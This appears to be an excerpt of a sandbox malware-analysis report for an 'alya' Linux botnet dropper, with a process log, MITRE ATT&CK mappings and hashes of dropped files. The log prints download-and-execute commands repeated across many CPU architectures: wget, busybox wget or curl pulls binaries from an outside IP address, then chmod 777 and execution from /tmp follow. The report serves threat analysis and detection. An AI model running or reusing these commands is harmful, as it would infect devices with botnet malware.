  PID:982
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:999
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1001
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1002
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1003
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1004
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1005
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1007
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1014
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1018
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1020
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1022
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1023
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mipsel
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1024
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1026
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1027
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1029
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1030
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sparc
  2⤵
  PID:1031
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1032
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1033
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1034
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1035
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1036
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1037
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1038
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1040
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1041
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sparc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1042
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1043
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1044
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1046
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1047
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv5l
  2⤵
  PID:1048
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1049
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1050
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1051
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1052
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1053
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1054
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1055
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1056
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1057
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv5l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1058
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1059
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1060
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1061
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1062
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i486
  2⤵
  PID:1063
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1064
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1065
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1066
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1067
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1068
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1069
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1070
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1072
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1073
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i486
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1074
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1075
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1076
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1079
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1080
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.m68k
  2⤵
  PID:1081
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1082
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1083
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1084
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1085
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1086
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1087
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1088
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1090
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1091
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1092
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1093
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1094
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1096
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1097
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.powerpc
  2⤵
  PID:1098
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1099
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1100
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1101
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1102
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1103
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1106
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1107
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1109
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1110
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.powerpc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1111
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1112
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1113
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1115
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1116
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.x86_64
  2⤵
  PID:1117
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1118
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1119
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1120
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1121
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1122
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1123
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1124
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1126
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1127
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1128
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1129
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1130
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alya.arc

Path /tmp/alya.arc
Size 89KB
SHA256 46c2213079848ee09d843de65a67b63ab061f3002fcf70e63e5d9c6a974fc69c
MD5 16ef618bf21a3322c6793be87d553f08
SHA1 18eee478866d0829560ed0c11c4f6e1faa5dffbc
SHA512 90b24fcee9f09d8f6fd3496303a176e4747e6437e075abd633a6b5fe1d522688e776166fc5749ce840923ada8d82b72ecc40bf9a341e187a9183d7bea6f03040
SSDEEP 1536:W/MlrduOjiw2kDji1tVudPvivfb3Ugz/LWeX:W6jqkDjGvu9vivz3Ugzqe
TLSH
T1E9936ACBF60B9992CC1146F04BC75B9E3E172221DE1398F33C1E6A76447A1DB990A7D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

stat

Path /tmp/stat
Size 247B
SHA256 fc9f3366a412d751ae7f731c2744d321e3cb5b5e81be715c17896239d8e9031a
MD5 79fbe662939ae9082ae956c629a6a943
SHA1 03b28a6709fdfd2e9a1e118ee0bba09f83dc5f68
SHA512 da24eaa3858b7c1f27984c2df3d0f7b96e1f9261ea46f698d407d5b35bf086250a0746ec06728bfb21faeb1f07bcc0fec51e66077832577f1f647b50463079af
TLSH
T122D05EA443EC60FE05C2C5421C822183136FF0313634B2992A8D8E385899EAECA0F906
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 247B
SHA256 5abf44760382e5d7a0ae3a5e8e494b23eae99e248198b6814e0e60fb7f0406fc
MD5 ac3ef154276088bf11fb364adf597a74
SHA1 be0fa693fd646043d09614b4f9a1d53680cb36d7
SHA512 d3cd7549f34aac4c3349b088fe06a62a02079cbb4c251628755ab51747405a51622d5587b4696aeafa45faa186d520810c2750791a22998aaeced9e649535b48
TLSH
T1A8D05EA443E860FE05C6C6421C822183136FF0313634B2992A8D8E385895EAECA0F906
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 247B
SHA256 e94817e454b606a8b703f201acc5326c201f00b3a9fa280e27670e5572651fbd
MD5 95f74d367c98f25d814a2e5ef8ab8d61
SHA1 b815c767d1d55abae1acf5aeb41a310516d92f91
SHA512 981e0752ae5dbcafc68445b42f783358521910ed8ed1cd9b1a451f79f5c5f758e6fd873da6b162d35129470b7c99bb00d063e9b4dd4a55fce7816cbc7ae8244d
TLSH
T183D05EA403E850FE05C2D5421C822283136FF0353631A2A92A8E8E7C5895E6ACE0B906
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 27B
SHA256 fa760ded91fc3c9e3b4cc72b31cfd82c400af860e4bec26fe0c87417ad396789
MD5 042cd61f13c0ba5ba98330e216e034a2
SHA1 d939076f73faf9f43639dee390c63d65cdc79e9c
SHA512 37785b35d3d98ac2dcb5c4da5cabb1396ae2cb76d7e499ce0be0f4719734eb22a09e6b9043c54bfb05b2d68c9659d706f0fcc30c9daacfe05fd018de379b67e5
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 973B
SHA256 bc4e819b6c262f1eef1ff790f3f1dfc710f77248bcbeed71c1847169556a54a2
MD5 aba6d28cf43fc8bd5c79d4cf3e7cf4cd
SHA1 308c49cf675b5397cb9058a2373b356d4ab61179
SHA512 0dfee6f9da302fc4b16df669157e6dee17389cb9c35500ab33a9e9c4ac37c169fbd0fa84bfba1f071ba6de3344e9c970657e6e05b175b192f13d8ed4c257431d
TLSH
T1451136208FD7BC98CAAE8348056AF4156070F22974D16532300FC87CFB3325BA788CD4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 973B
SHA256 083e946f331866a176d8ca64e3918f32aeaf66819597ca924531d388911bc6e2
MD5 c249ff45e8fb930a4562cd3920e556a8
SHA1 7ed6f744070b50fc13f8a677676b480e5cf7beb2
SHA512 20476c596cd23614c621320009a384cbe1c5b42a7500c62f69856fa85e2e8814a641953b6215c4d2f6dfd90b057cafb1baf34ff61c7e023fe11bd6d0f1cfa110
TLSH
T1591136208FD7BC98CAAE8348056AF4116070F22974D16532300FC87CFB3365BA788CD4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 973B
SHA256 aa3d27cae09ec1311f0f9f06e2f8c51c9a36731b058ec71c033a1a305afa4c67
MD5 e34a869c027265deb8bbb36efc0ba5d2
SHA1 834bb994bbaa146af394daaf0fca12b1831ed6c7
SHA512 0014719dd83424f2714672e0fdd8c81568dd6899f153f67bc48cace677e545efec5c126d94a8482ad5bda6f836add8cfb068e427eb62aff2bba39772b1c4d76b
TLSH
T1ED1136608FD6BC98CAAE834805AAF4116070F22974D16532740FC87CFB3325BA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /usr/bin/wget
Size 47KB
SHA256 46ea1152f9440941eaa494d865097516584cbb9637e8cc234d5e4f9b5dddcee2
MD5 76021af2d82cade790dd87d3af0f80c9
SHA1 a76ac307020ec367f372994cc93ab6d16e52bf6e
SHA512 1d4a80e848ecf7608a691813da9ae978346b04671c3edaf7fdab81c1a64e15ad4b43bed944934fd9e7b82be891204805e7e58662e9596fae30088fb2fb4b3126
SSDEEP 768:ZvfmtcLl9Vm/FsezQrHl1eCoMYuN3+ACFUpzKlVXiwXRrvHI:ZfmtcQNOzpYuFwez2lRrvH
TLSH
T165234C94FAC19A13C5D41577BA2E829C371303BCE2ED73039D2A9F60379B8260E7B555
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads